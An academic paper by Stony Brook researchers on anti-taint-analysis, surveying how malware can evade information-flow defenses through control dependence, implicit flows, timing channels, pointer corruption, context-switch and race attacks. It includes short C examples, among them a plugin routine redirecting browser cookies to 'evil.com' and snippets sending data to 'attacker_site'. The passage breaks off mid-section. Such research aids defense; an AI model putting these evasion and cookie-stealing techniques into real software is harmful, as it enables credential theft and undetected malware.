Anti-Taint-Analysis: Practical Evasion Techniques Against Information Flow Based Malware Defense

Lorenzo Cavallaro, Prateek Saxena and R. Sekar
Stony Brook University, Stony Brook, NY 11794.

Abstract

Taint-tracking is emerging as a general technique in software security to complement virtualization and static analysis. It has been applied for accurate detection of a wide range of attacks on benign software, as well as in malware defense. Although it is quite robust for tackling the former problem, application of taint analysis to untrusted (and potentially malicious) software is riddled with several subtle difficulties that lead to gaping holes in the defense techniques. These holes arise due to theoretical limitations of information flow analysis techniques, as well as the nature of real-world software designs. They can be exploited to develop anti-taint-analysis techniques that can be incorporated into malware to evade taint-based defenses. We make two main contributions in this work. First, we show that these evasion attacks are easy-to-construct, provide powerful capabilities to an attacker, and seem very difficult to mitigate when applied to malware. Second, we have provided a comprehensive collection of such evasion techniques, thereby helping to improve our understanding of the attacker capabilities in current deployment scenarios, and setting the stage for the development of more robust defenses against malware.

1 Introduction

The past few years have witnessed a resurgence of interest in information flow. Much of this interest can be traced to the emergence of practical information flow techniques that handle low-level languages (such as C or binary code [30, 15, 38]) in which most of today's security-sensitive software has been implemented. As a result, it has become possible to apply information flow analysis for accurate detection of a wide range of attacks on benign software, including those based on memory corruption [30, 15], format-string bugs, command or SQL injection [2, 25, 38], cross-site scripting [35], and so on.

More recently, researchers have begun to explore the use of dynamic information-flow tracking techniques to analyze malware behavior [1], or to enforce policies on them [29, 11], e.g., ensuring confidentiality of sensitive data. Dynamic information flow analysis, when used alongside other malware analysis techniques such as virtualization/emulation and static analysis, has been fairly successful in behaviour analysis of existing malware. This leads to the question whether these combined techniques (or dynamic information flow analysis, by itself) can be applied effectively to future malware that employs anti-analysis techniques.

Unfortunately, information flow techniques are vulnerable to several evasion attacks since many of the underlying assumptions can be violated by malware. Malware writers can deliberately insert covert channels with adequate information carrying capacity in their code, whereas in benign software, the capacity of most covert channels is too small to pose a significant threat. Evasion becomes ever more easy if the defense relies on static analysis in addition to dynamic taint-tracking. In particular, malware can violate most typical assumptions made by static analysis, e.g., the absence of memory errors. Finally, there are many practical instances that involve malware operating within the same address space as a (benign) host application, e.g., browser helper objects (BHOs), kernel modules and device drivers. Use of shared memory opens a slew of additional attack avenues based on techniques such as memory corruption, violation of procedure-call/return conventions, and so on. Using these avenues, malware can confuse and/or coopt its host application to do its bidding. These considerations raise the question of whether dynamic taint analysis, by itself, is sufficient to address these pratical attack avenues. Equivalently, the question can be posed as what additional techniques are necessary to ensure that taint tracking can not be subverted by malware.

Understanding the limitations of defensive techniques is no longer just an academic exercise, but a problem with important practical consequences: emerging malware does not just employ variants of its payloads by using metamorphic/polymorphic techniques, but instead has begun to embed complex evasion techniques to detect monitoring environments as a means to protect its "intellectual property" from being discovered. For instance, W32/MyDoom [21] and W32/Ratos [32] adopt self-checking and code execution timing techniques to determine whether they are under analysis or not. Likewise, self-modifying techniques – among others – are used as well (W32/HIV [20]) to make malware debugging sessions harder ([33, 31]). To make things worst, up to 80% of contemporary malware are *packed* ([27]), that is, they are either compressed or further encrypted. Therefore, the malware behavior cannot be analyzed without actually execute them. Moreover, packers can be easily modified to adopt and embed the same evasion techniques adopted by the underlying malware. This, alongside other anti-emulation techniques ([26]), add an extra layer of protection to the malware making the whole analysis much more complex.

Thus, a necessary first step for developing resilient defenses is that of understanding the weaknesses and limitations of existing defenses. This is the motivation of our work — our focus is to better understand the capabilities of the attacker against the emerging generation of information flow based defenses. To this end, we discuss a range of practical and easy-to-construct attacks based on these techniques. This discussion is organized into three main sections, based on the manner in which information flow analysis is being used:

- In Section 2, we consider the simplest application of information flow techniques: runtime monitoring of the behavior of stand-alone untrusted applications. We present several evasion techniques that exploit control-flows, implicit flows and timing channels. These channels do not seem to have adequate "bandwidth" to defeat most applications of information flow analysis to *trusted* software, e.g., detection/prevention of various kinds of injection attacks. In particular, the attacker has no control over the presence or information-carrying capacity of these channels. In contrast, an attacker has full freedom to incorporate these types of channels into their malware, and thus easily evade information-flow based defenses. For concreteness, many of our attacks are set in the context of the technique presented in [29] for detecting "remote control" behavior of bots, although the evasion techniques themselves are applicable against other defenses as well, e.g., dynamic spyware detection [11].

  The *covert channels* mentioned above are well-known in the context of information flow analysis. Thus, our main contribution is:

  - We show, using simple examples, that evasion attacks are easy to construct, and provide powerful capabilities to an attacker.
  - We show that existing techniques for strengthening information flow analysis to address these evasion attacks are unlikely to succeed because they would raise an undue number of false positives, or because of the practical limitations imposed by the need to work with untrusted software that is typically available only in binary form.

- In Section 3, we present additional avenues for attacks that become possible in the context of untrusted plug-ins and libraries that share their address-space with a benign host application. Browser helper objects (BHOs), which constitute one of the most common forms of malware in existence today, belong to this category. Other examples includes document viewer plug-ins, media players, codecs, and so on. In such a shared memory environment, we show that a number of additional attack avenues can be exploited by malware, including:

  - *Attacks on integrity of taint information.* Malware can achieve its goal indirectly by modifying the variables used by its host application, e.g., modifying a file name variable in the host application so that it points to a file that it wants to overwrite. Alternatively, it may be able to bypass instrumentation code inserted for taint-tracking by corrupting program control-flow.
  - *Attacks based on violating application binary interface,* whereby malware violate assumptions such as those involving stack layout and register usage between callers and callees.
  - *Race-condition attacks on taint metadata.* Finally, we describe attacks where malware races with benign host application to write security-sensitive data. In a successful attack, malware is able to control the value of this data, while the taint status of the data reflects the write operation of benign code.

- Today's malware is often packaged with software that seems to provide legitimate functionality, with malicious behavior exposed only under certain "trigger conditions," e.g., when a command is received from a remote site controlled by an attacker. Moreover, malware may incorporate anti-analysis features so that malicious paths are avoided when executed within an analysis environment. To uncover such malicious behavior, it is necessary to develop static analysis techniques that can reason about program paths that are not exercised during monitoring. Recently, information flow analysis based techniques have been developed [1] to uncover such triggers, and analyze malicious code paths that are guarded by them. In Section 4, we show that these trigger discovery mechanisms (and more generally, static analysis techniques) can be easily evaded by purposefully embedding memory errors in malicious code.

We suggest possible directions for future (information flow) research that can provide a more robust defense against untrusted code in Section 5, while a summary of related work is provided in Section 6, followed by concluding remarks in Section 7.

2 Enforcing Policies on Stand-Alone Untrusted Applications

Information flow is concerned with determining whether the value of a program variable x is influenced by the value of another variable y. Typically, we are concerned with the value of y at some *input* point, and the value of x at an output point. Previous literature on information flow has documented the limitations of capturing all such dependencies in programs, but this has not been considered a significant impediment to development of practical dynamic taint tracking techniques on benign software. When dealing with trusted programs (the context in which most attack detection work is done), it is typical to focus on *explicit flows* that take place via assignment statements, while ignoring *indirect flows* and *covert channels*. This is reasonable since the significance of the latter flows is greatly influenced by the program structure, which is not under the control of an attacker. As a result, in practice, attackers are not able to inflict significant harm (i.e., exert sufficient control over program behavior to achieve their objectives, or obtain a significant quantity of sensitive data) by exploiting these flows. However, in the case of malware, an attacker exerts full control over the program involved in the information flow. To show the ease of utilizing these techniques, we revisit these concepts with concrete and simple examples in this section.

Some of the best known examples of indirect and covert channels arise due to *control dependence*, *implicit flows*, and *timing channels*. The notion of *noninterference* developed in [14] covers control dependence as well as implicit flows but does not address timing channels. However, noninterference-based techniques have not proven to be practical on moderate to large-scale software since they cause too many “false positives” — instances where a flow is reported even when there is little or no dependence between two variables. Manual annotations (called *declassification* or *endorsement*) are needed to overcome these false positives. This fact, together with the fact that implicit flows can only be identified using static analysis (i.e., a purely dynamic technique cannot identify all implicit flows), has meant that noninterference based techniques are mainly applicable to source code, whereas malware is typically available only in binary form.

For concreteness, we present our results in the context of a recently developed technique for detecting remote-control behavior of bots based on information flow [29]. Specifically, this technique identifies bots by their behavior: bots receive commands from a central site (“bot-herder”) and carry them out. This typically manifests a flow of information from an input operation (e.g., a `read` system call) to an output operation (e.g., the file named in an `open` system call). Their implementation relied on *content-based tainting:* i.e., taint was assumed between x and y if their values matched (identical or had large common substrings) or if their storage locations overlapped. As noted by the paper authors, content-based tainting is particularly vulnerable: it can easily be evaded using simple encoding/decoding operations, e.g., by XOR’ing the data with a mask value before its use. However, the authors suggest that a more traditional implementation of runtime information flow tracking [15] would provide “thorough coverage” and hence render attacks much harder. As we show below, an implementation such as [15] that is focussed only on explicit information flows can be easily evaded using simple techniques.

2.1 Attacks Based on Control Dependence

Consider the following code snippet:

```
char y[256], x[256];
...
int n = read(network, y, sizeof(y));
for (int i=0; i < n; i++) {
  switch (y[i]) {
    case   0: x[i] = (char)13; break;
    case   1: x[i] = (char)14; break;
    ...
    case 255: x[i] = (char)12; break;
    default: break;
  }
}
```

Note that there is a one-to-one correspondence between the values of x and y after the loop. However, since there are no assignments involving the two variables, a technique that does not track direct control dependence will miss this flow. Exploiting this fact, an attacker can propagate an arbitrary quantity of information by using such code in his malware without triggering detection.

The potential for this attack can be mitigated by tracking control dependence. This is easy to do, even in binaries, by associating a *taint label*[1] with the *program counter* ([11, 38]). Whenever the condition involved in a branch decision is *tainted*, the program counter is also tainted. An assignment causes the target variable to be tainted if the program counter is tainted, or if its right-hand side expression is tainted. The label of the program counter is restored at the merge point following a conditional branch.

Unfortunately, the use of control dependence has its own drawbacks, and can cause too many false positives. Consider the following code snippet that might be included in a program that periodically downloads data from the network, and saves it in different files based on the format of the data. Such code may be used in programs such as weather or stock ticker applets:

```
int n = read(network, y, 1);
if (*y == ’t’)
   fp = fopen("data.txt", "w");
else if (*y = ’i’)
   fp = fopen("data.jpg", "w");
```

Note that there is a control dependence between data read over the network and the file name opened, so a technique that flags bots (or other malware) based on such dependence would report a false alarm. More generally, input validation checks can often raise false positives, as in the following example:

```
int n = read(network, y, sizeof(y));
if (sanity_check(y, n)) {
   fp = fopen("data", "w");
   ...
}
else {
   ... // report error
}
```

On benign software, it is difficult to eliminate false positives due to control dependence unless developers devote significant efforts on annotations. We obviously cannot rely on developer annotations in untrusted software; it is also impractical for code consumers (even if they are knowledgeable programmers or system administrators) to understand and annotate untrusted code. As a result, we face a challenging problem in using information flow-based techniques for analyzing malware behavior: ignoring control dependence makes the technique very insecure, while considering them can lead to false positives that cannot be easily managed in the context of untrusted, unfamilar code.

2.2 Attacks Based on Pointer Indirection

Tracking data and control dependences alone is not enough. Malicious code may arrange for dataflows to take place purely through pointer indirection, i.e., the fact that the location of the source operand of an assignment is determined by sensitive data, as illustrated below:

```
read(network, &y, sizeof(char));
...
for (int i=0; i < 256; i++) tab[i] = i;
char x = tab[y];
```

Note that x will have the same value as y, even though y is not directly assigned to x. One way to safely handle such flows is to treat the result of a memory dereferencing operation as tainted whenever the address depends on a tainted value. This is, again, typically not done in existing techniques such as [15] because it can lead to far too many false positives in some situations:

[1] Typically, the term “taint” is used in the context of data integrity, while “sensitive” is used in the context of data confidentiality. Similarly, the terms “taint-tracking” and “taint analysis” are used predominantly in the context of integrity, whereas the term “information flow tracking” and “information flow analysis” may be used in the context of data confidentiality as well as integrity.

```
void insert(LinkedList* l, ListItem* i) { // assume the l contains no tainted data, but i is tainted
   ListItem *temp = l->front;
   l->front = i; // Now, the entire list is tainted! Any sequence of
   i->next = temp;  // derefences, starting from l->front, will yield a tainted value
   ....
```

Note that after the insertion, the entire list becomes tainted even if none of the elements (except the newly inserted one) were tainted earlier. This can lead to a large number of false positives in programs that makes use of data structures such as lists, trees, hashtables, etc.

Source-to-source information flow-based program transformation techniques, such as [38], generally are able to distinguish between the two above situations. However, information flow-based approaches performed on binaries, the common scenario when dealing with malware, generally cannot.

2.3 Attacks Based on Implicit Flows

The following code snippet is a simple extension of a classic example of implicit flow.

```
1. void memcpy(u_char *dst, const u_char *src, size_t n) {
2. // n is the size of dst, thus it is also untainted (n <= size of src)
3. // Alternatively, n can be src length inferred via implicit flows (thus it will be untainted)
4.    u_char tmp;
5.
6.    for (int i = 0; i < n; i++) {         // no tainted scope.
7.       for (u_char j = 0; j < 256; j++) { // no tainted scope.
8.          tmp = 1;                        // constant values not sensitive.
9.          if (src[i] != j) {              // src is sensitive: tainted scope
10.            tmp = 0;                     // when executed, tmp marked as tainted
11.         }
12.         if (tmp == 1) {                 // if tainted, condition does not hold
13.            dst[i] = j;
14.         }
15.      }
16.   }
17.}
```

Note that if `tmp` is one at line 12, then the value of `src[i]` at line 9 can be concluded to be equal to `j`. Moreover, since the if-condition does not hold (line 9), the assignment at line 10 would not have been executed, and hence `tmp` would not be marked as sensitive *even when control dependences are tracked*. Following this line of reasoning, at the end of the procedure, `dst` will have the same value as `src` but control dependence will not report any flow of information from `src` to `dst`, as `dst` values have been inferred by using implicit flows. Note that, even if `tmp` will eventually be marked as tainted, it will also be marked as untainted at every outer loop iteration (line 8).

The reason for the above leakage is the non-execution of an update operation on `tmp`. A purely dynamic information flow tracking technique updates labels based on the statements actually executed at runtime, and hence fails to capture this flow. To overcome this problem, most techniques that handle implicit flows are based on static analysis. A combined static-dynamic approach is described in [34]: a static analysis is used to compute a conservative upper bound on the set of variables assigned in the untaken branch, and all these variables are marked as sensitive in the taken branch if the program counter is determined to be sensitive at the time this branch is taken. It is shown that this technique preserves noninterference in a simple language that does not support pointers or arrays.

The static analysis component of any information flow technique runs into difficulties in a language with pointers and aliasing. Without making the above example harder to understand, let us consider in the following, a modification of the classical example of code that uses implicit flow (see [35] for instance) and that illustrates these difficulties.

```
1. int* x = g(); *x = 0;
2. if (y) { // assume y is sensitive
3.   x = f(y); // assume that f(true) equivalent to g(),
4.   *x = 1;   // and behavior of f(false) is undefined
5. }
6. else ; // do nothing.
7. w = (*(g()) == 1);
```

For simplicity, we only concern ourselves with implicit flows that take place when y is false. To detect this flow, a static analysis is needed to compute an upper bound on the set of locations updated at line 4, which requires computing the set of possible values returned by an arbitrary function f. Since this is a hard problem, a practical static analysis technique will likely conclude that x may point to any memory location, or at least that it may point to one of the locations in a large set. When the else-branch is taken, each of the locations in this set would have to be marked as sensitive. Not only is this likely to lead to false positives, but the runtime overhead for marking a large set of memory locations would likely be prohibitive.

2.4 Timing based attacks

Timing channels are frequently ignored in the context of information flow analysis, but they constitute a significant threat in the context of untrusted code as shown by the following code snippet:

```
send_value(attacker_site, time());
y = ...sensitive... //
sleep(y);
send_value(attacker_site, time());
```

One obvious way to counter this attack is to treat `time()` as sensitive, but a malware writer can thwart this by simply omitting explicit transmission of the value returned by `time()`. This is possible since the time difference between the two messages can be fairly accurately estimated on the receiving side.

To counter timing attacks, we may consider preventing untrusted code from accessing timers altogether, but this is still not enough: malware writer can still achieve the effect of timers using delay loops:

```
send_value(attacker_site, "1");
y = ...sensitive... //
for (int i=0; i < y*1000000;) // delay loop, delay
   i++; // proportional to value of y.
send_value(attacker_site, "1");
```

Note that the attacker could infer the value of y from the delay between the two send operations. However, this cannot be detected even if implicit flows were tracked. There is simply no dependence between y and the constant value “1” that is being sent to the attacker site.

3 Analyzing Runtime Behavior of Shared-Memory Extensions

A significant fraction of today’s malware is packaged as an extension to some larger piece of software such as browser or the OS kernel. Browsers are an especially attractive target for malware authors because of their ubiquitous use in end-user financial transactions. Thus, an attacker who can subvert a browser can steal information such as bank account passwords that can subsequently be used to steal money.

Most browsers support software extensions, commonly referred to as browser helper objects (BHOs)[2] that add additional functionality such as better GUI services, automatic form filling, and viewing various forms of multimedia content. Due to the growing trend among users of installing off-the-shelf BHOs for these purposes, stealthy malware often gets installed on user systems as BHOs. These malicious BHOs exhibit common spyware behaviour such as stealing user credentials and compromising host OS integrity for evading detection and easier installation of future malware. Recent works [11] have proposed the idea of using information flow-based approaches to track the flow of confidential data such as cookies, passwords and credentials in form-data as it gets processed by web browser, and to detect any leakage of such data by malware masquerading as benign BHOs loaded in the address space of the browser. To selectively identify and document such leakage, they use an *attribution* mechanism to identify actions that access system resources made directly by the BHO, by the host browser on its behalf, or by the host browser itself. Leakage of confidential data is signalled in their system by the presence of sensitive data at output operations such as the system calls that perform writes to networks and files that have been accessed by the BHO. Although these methods are successful in analysis and detection of current malware, they are not carefully designed to detect adaptive malware that employs evasion techniques against the information flow analysis techniques being utilized in these defenses. Below, we present several such evasion attacks. These attacks are generally

[2] Depending on the browser, browser extensions are named in different ways. Internet Explorer uses the term BHOs, while Gecko-based browsers (e.g., FireFox) use the term plug-ins. We will use the two terms interchangeably throughout the paper.

applicable to systems that employ information flow-based tracking to ensure integrity and/or confidentiality.

We point out that the techniques presented in the previous section continue to be available to malware that operates within the address space of a (benign) host application. However, our focus in this section is on additional evasion techniques that become possible due to this shared address-space.

3.1 Subverting Benign Code to Perform Malware's Tasks

By corrupting the memory used by its host application, a malicious plug-in can induce the host application to carry out its tasks. For instance, in the context of [11], malware does not necessarily need to read the confidential data itself to leak it. Instead, it could corrupt the data used by the browser (i.e., the host application) so that the browser would itself leak this information. Specifically, consider a variable in the browser code that points to data items that are to be transmitted over the network. By corrupting this pointer to point to sensitive data stored within the browser memory, a BHO can arrange for this sensitive data to be transmitted over the network. Alternatively, a BHO may corrupt a file pointer as well, so that any write operation using this file pointer will result in the transmission of sensitive data over the network (vulnerable pointers and data buffers needed for the above attack occur commonly in large systems because of the high degree of address space sharing between the host browser and extensions).

It is worth noting that, given a pointer `p`, if `*p` points to sensitive data, then `p` should be considered sensitive as well. Otherwise, there are indirect attacks that can be perpetrated by forging some pointer used by the browser with the value of `p`, as previously mentioned. Unfortunately, in general, there is no way to do this. For clarity, before presenting a slightly more complicated attack, consider the following scenario that illustrates the problem:

```
1. q = malloc(...); // q and *q are untainted (not sensitive)
2. p = q;           // p is untainted (not sensitive)
...
X. strcpy(q, s);    // *s is sensitive, so *q is sensitive.
                    // q can be marked as sensitive (as *q), but hard to mark p as sensitive as well
```

The point is that even if it is possible to figure out from `strcpy` code that `q` is sensitive because data from `s` which is marked sensitive is copied into, how is it possible to figure out that `p` has the same value as `q`, and therefore must be considered sensitive?

Once we agree that in general it is not possible to mark `p` as sensitive when `*p` is sensitive, several attacks become possible: instead of copying `*p` into some array `A` that is sent over the network, the spyware copies `p` into a pointer value `q` that will be dereferenced and sent. The technique proposed in [11] will not detect the leak that takes place through the corrupted pointer `q`, assuming that no sensitive data was looked at before reaching `q`, of course. This is a reasonable assumption, since the above discussion says that the higher levels of the data structure will not be sensitive: it will be just the leaves, as the taint analysis strategy marks data read from the website as sensitive, and propagates it (and control dependence in trusted code is not tracked – to keep FP as low as possible).

Following the aforementioned reasoning, the example below illustrates how an untrusted component which is loaded in the address-space of a host application can corrupt data pointer to violate a confidentiality policy of preventing leakage of any sensitive information, such as *cookies*. The example has been tested on Lynx, a textual browser which does not have a proper plugin framework support[3]. However, it uses libraries to enhance its functionalities and, as they are loaded into Lynx's address space, it is possible to compare these libraries to untrusted components. In fact, the result herein considered is generic enough to be reported to a different browser application (e.g., Internet Explorer, FireFox) with a full-blown plug-in framework.

```
typedef struct _cookie {
   ...
   char *domain; // pointer to the domain this cookie belongs to
   ...
} cookie;

typedef struct _HList {
   void *object;
   HTList *next;
} HTList;
...
```

[3] Lynx has been chosen merely because we are interested in keeping the examples as simple as possible, where possible.

```
extern HTList *cookie_list;               // declared by the core of the browser
...
void change_domain(void) {                // untrusted plugin functions
   HTList *p = cookie_list;               // untainted ptr -- the list itself is not tainted
   char *new_domain = strdup("evil.com"); // untainted string
   for (; p; p = p->next) {               // iterating over an untainted list gives untainted ptrs
      cookie *tmp = (cookie *)p->object;  // tmp takes the address of a cookie object -- untainted
      tmp->domain = new_domain;           // changing an untainted pointer with an untainted address
   }
}
```

The attack consists of modifying the domain name in the cookie. In Lynx, all cached cookies are stored in a linked-list `cookie_list` (note that `cookie_list` is not sensitive as only the sequence of bytes containing cookies value is). Later on, when the browser has to send a cookie, the domain is compared using `host_compare` (not shown) which calls `stringcasecmp`. Now, any plug-in can traverse the linked list, and write its intended URL to the `domain` pointer field in cookie record, subverting the Same Origin Policy. On enticing the user to visit a malicious web site, such as ”evil.com”, these cookies will now automatically be sent to the attacker web site. This is an instance of showing how confidential data can leak without reading it. The approach proposed in [11] does not deal with this. Data such as URLs is marked tainted and propagated, so that original domain names will be marked tainted. Overwriting the `domain` pointer with an attacker chosen address value (which is untainted) causes no *suspicious flag* (to use the terminology used in [11]) to be set. Finally, implicit flow attacks can be used to be more selective on the target cookie selection (i.e., to be able to modify the `domain` pointer only for particular cookies).

To detect the aforementioned evasion attacks, an information flow technique needs to incorporate at least the following two features. First, in order to detect the effect of pointer corruption (of pointers such as those used to point to data buffers), the technique must treat data dereferenced by (trusted) browser code using a tainted pointer as if it is directly accessed by untrusted code. Second, it must recognize corruption of pointers with constant values. Otherwise, the above attack will succeed since it overwrites a pointer variable with a constant value that corresponds to the memory location of sensitive data[4]. As we briefly introduced at the beginning of this section, it seems quite reasonable that addressing these situations is rather hard, unless every write performed by the untrusted BHO is considered to be tainted (therefore, considering everything written by the untrusted BHO as sensitive), regardless whether the source involved in the operation is sensitive or not. Further discussion on possible directions for mitigation techniques are faced in Section 5.

3.2 Attacking Mechanisms Used to Determine Execution Context

At runtime, it is necessary to distinguish the execution of untrusted extension code from that of trusted host application code. Otherwise, we will have to apply the exact same policies on both pieces of code, which will reduce to treating the entire application as untrusted (or trusted). To make this distinction, a taint analysis approach needs to keep track of code execution context. The logic used for maintaining this context is one obvious target for evasion attacks: if this logic can be confused, then it becomes possible for untrusted code to execute with the privileges of trusted code. A more subtle attack involves data that gets exchanged between the two contexts. Since execution in trusted context affords more privileges, untrusted code may attempt to achieve its objectives indirectly by corrupting data (e.g., contents of registers and the stack) that gets communicated from untrusted execution context to the trusted context.

Although the targets of evasion attack described above are generally independent of implementation details, the specifics of an evasion attacks will need to rely on these details. Below, we describe how such evasion attacks can work in the specific context of [11].

3.2.1 Attacking Context-Switch Logic

When analyzing an application and its untrusted plugins, it is no more sufficient to only track how sensitive information flow during the execution of the application and its BHOs. In fact, as previously noted, as the application and its BHOs share the same address-space, to proper flag an improper information usage (e.g., information leakage), it is necessary to understand when the code being executed belongs to the untrusted component, or it is

[4] Such pointers reside often enough on global variables, whose locations can be predicted in advance and hard-coded as constants in the malware.

executed on its behalf or, again, belongs to the application and it is executed on behalf of the application itself.

To distinguish among these cases, the approach proposed in [11] uses the following algorithm. The system checks whether the code to be executed belongs to the BHO code area. If so, then it records the value of the current stack pointer, *saved_esp*, and then the instruction is executed. Whenever the instruction pointer points outside of the BHO code area, a decision has to be made to determine whether the instruction has to be executed on behalf of the BHO (i.e., BHO context) or not (i.e., browser context). Therefore, the system checks if the value of *current_esp*, the current stack pointer, is less than *saved_esp*. If this condition is satisfied, it means that the BHO has invoked a function on its behalf (as on IA-32 the stack grows downwards, and a new stack frame which belongs to the new function is allocated), and thus the code is considered to be executed in BHO context. On the other end, if the condition does not hold, it means that the last BHO stack frame has been popped off from the stack and the execution context does not belong to the BHO anymore. Clearly, this attribution mechanism allows valid context switches (from untrusted to trusted context) at call/return function boundaries, more specifically, when the last BHO function f is about to return and there are not other browser functions invoked by f.

Unfortunately, malware available in binary form may employ simple low-level attacks that could subvert the control flow integrity of the entire application leading to devastating attacks. The taint analysis approach and the attribution mechanism employed in [11] address code injection at runtime by allowing only code in known regions to execute. However, as we will briefly see, it is not so effective to protect against other attacks similar to return-to-lib(c), or impossible path executions (IPEs) that violate control flow integrity in general.

Consider an attack on the code shown in Figure 1 that shows an hypothetical browser plug-in loader code (Gecko-based browser code). The function pointer `getPluginMimeType` will invoke the BHO provided function `NPP_GetMIMEDescription` that returns back to the browser the information about the MIME types the plug-in is willing to handle. This information is then used by the browser later on to determine whether the BHO should be called when a particular MIME type has to be handled. The BHO-provided `NPP_GetMIMEDescription` function could adjust the stack pointer register `%esp` to its caller's stack record upon exit, pointing to the return address in `browser_run_external_app` (line 21). In such a case, the `getPluginMimeType` function pointer returns after the call to `select_by_MimeType` in its caller `browser_run_external_app` (line 21), rather than to the valid return point in `select_by_MimeType` (line 8). By leveraging on the attack proposed in the previous section, the BHO can change the `prog_name` pointer to make it points to a chosen not sensitive string. The effect is that arbitrary programs can now be invoked without being in BHO context.

In this attack, the attribution mechanism proposed in [11] fails to associate the execution context as belonging to the BHO. The reason is simple. The low-level instructions that the BHO will execute as last consist in (i) moving the stack pointer so that it points to the caller's saved return address location on the stack, and (ii) returning from the procedure `NPP_GetMIMEDescription` invoked through the function pointer `getPluginMimeType`, by issuing a `ret` assembly instruction. Accordingly to the proposed attribution mechanism, since the code is executing in BHO context (it is actually part of the BHO code itself), executing (ii) merely means that we are terminating the BHO context (the last BHO dependant stack frame will be popped off from the stack), therefore, the subsequent instructions will be executed in browser context. This is what normally happens, when no attack is involved. The only difference here is that the execution of (i) pushes the stack pointer out of its legal frame boundaries. Note that before executing (ii), the proposed attribution mechanism will set *saved_esp* to the new value of the stack register obtained after executing (i). This has the effect to set a new "BHO context" limit. However, executing (ii) has the effect to returning from a procedure. Therefore, the execution will jump to a non-BHO functions and *current_esp* will be greater than *saved_esp*, characterizing the code execution in browser context.

It is worth noting that the control-flow violation attack described above can be achieved without using any tainted pointers, since return addresses used to transfer control to unintended target is stored by benign host function and are left untampered. In many previous taint tracking based solutions applied to benign code, control flow properties are ensured by checking the integrity of all control data such as return addresses using the taint metadata itself. However, in context of BHOs that share all processor registers with the host application, taint information does not help much in distinguishing benign BHOs from malicious. The value of `%esp` is almost always updated in BHO code, even when benign BHOs deal with sensitive data. Therefore, taint information for `%esp` will always be marked unsafe for BHOs, and does not give anything useful about the contents of `%esp`.

```
select_by_MimeType(AppHandle *a) {
   char *default_pgm = "/usr/lib/iceweasel/mozplugger";
   ...
   read_preferences_file();
   ...
   for (i = plugin_list.start(); i != plugins_list.end (); ++i) {
      if (i->getPluginMimeType() == "application/pdf") {
         handle_Mime_File(i, a);
         return NULL;
      }
      else if (...)
      ...
   }
   return default_pgm;
}

browser_run_external_app(AppHandle *a) {
   char *prog_name;
   ...
   prog_name = select_by_MimeType(a);
   // Control Flow Integrity violation: getPluginMimeType returns here
   if (prog_name) {
      ... // fork a child to properly exec prog_name
      execve(prog_name, ...);
   }
}
```

Figure 1: Hypothetical browser plugin loader code. It launches a helper application based on the MIME file type. The code should invoke Mozplugger if no specific high-priority plugins are found. By exploiting the attribution mechanism,

3.2.2 *Attacking Shared Data between Trusted and Untrusted Contexts*

Another significant category consists of attacks that intentionally violate the semantics of the interface between the host and the extension, and are hard to detect with any kind of taint tracking. These attacks pertain to violation of implicit assumptions in the host code about certain usage of shared processor state by the BHO, calling conventions and compile-time invariants such as type safety of the exported function interface. For instance, certain registers, which are called “callee-saved” registers, are implicitly assumed to be unmodified across function invocations. In addition to the attack outlined earlier that violates control flow integrity, there are others that could target data integrity such as corrupting callee-saved registers. Considering everything that comes from untrusted context to be tainted would probably be problematic, as trusted context will completely be polluted: browser and plug-ins *do* interact with each other, therefore, as long as not sensitive data are considered, it is perfectly normal to rely on BHO-provided data.

3.3 Attacking Meta-Data Integrity

Another possible avenue for evasion is that of corrupting metadata maintained by a dynamic information flow technique. Typically, metadata consists of one or more bits of taint per word of memory, with the entire metadata residing in a data structure (say, an array) in memory. An obvious approach for corrupting this data involves malware directly accessing the memory locations storing metadata. Most existing dynamic information flow techniques include protection measures against such attacks. Techniques based on emulation, such as [11] can store metadata in the emulator’s memory, which cannot be accessed by the emulated program. Other techniques such as [38] ensure that direct accesses to metadata store will cause a memory fault. In this section we focus our attention on indirect attacks, that is, those that manifest an inconsistency between metadata and data values by exploiting race conditions.

3.3.1 *Attacks Based on Data/Meta-Data Races*

Dynamic information flow technique needs to usually perform two memory updates corresponding to each update in the original program: one to update the original data, and the other to update the metadata (i.e., the taint information). Apart from emulation based approaches where these two updates can be performed “atomically” (from the perspective of emulated code), other techniques need to rely on two distinct updates. As a result, in a multithreaded program where two threads update the same data, it is possible for an inconsistency to arise between data and metadata values. Assume, for instance, that metadata updates precede data updates, and consider the following interleaved execution of two threads:

```
Benign thread                           Malicious thread
-------------                           ----------------
t1.                                     set tag[X] to "tainted"
t2. set tag[X] to "untainted"
t3. write untainted value to X
.
.
.
tk.                                     write tainted value to X
```

Note that at the end, memory location `X` contains a tainted value, but the corresponding metadata indicates that it is untainted. Such an inconsistency can be avoided by using mandatory locks to ensure that the data and metadata updates are performed together. But this would require acquisition and release of a lock for each memory update, thereby imposing a major performance penalty. As a result, existing information flow tracking techniques generally ignore race conditions, assuming that it is very hard to exploit these race conditions. This can be true for untrusted stand-alone applications, but it is problematic, and cannot be ignored in the context of malware that share their address-space with a trusted application.

To confirm our hypothesis, we experimentally measured the probability of success for a malicious thread causing a sensitive operation without raising an alarm, against common fine-grained taint tracking implementations known today. The motivation of this attack is to show that, by exploiting races between data and metadata updates operations, it is possible to manipulate sensitive data without having them marked as sensitive. To demonstrate the simplicity of the attack, in our experiment we used a simple C program shown below (a) that executes as a benign thread. The sensitive operation `open` (line 11 (a) column) depends on the pointer `fname` which is the primary target for the attacker in this attack. We transform the benign code to track control dependence and verified its correctness, since the example is small.

```
1. char *fname = NULL, old_fname = NULL;
2.
3. check_preferences () {
4.    ...
5.    if (get_pref_name () == OK)
6.       old_fname = "/.../.mozilla/.../pref.js";
7.    ...
8.    while (...) {
9.       fname = old_fname;
10.      if (fname) {
11.         fp = open (fname, ‘‘w’’);
12.      ...
13.   }
14.   ...
15.}
```

(a)

```
void *malicious_thread(void *q) {
   while (attempts < MAX_ATTEMPTS) {
      fname = "/.../.mozilla/.../cookies.txt";
   }
}
```

(b)

The attacker's thread (b) runs in parallel with the benign thread and has access to the global data memory pointer `fname`. The attacker code is transformed for taint tracking to mark all memory it writes as "unsafe" (i.e., tainted).

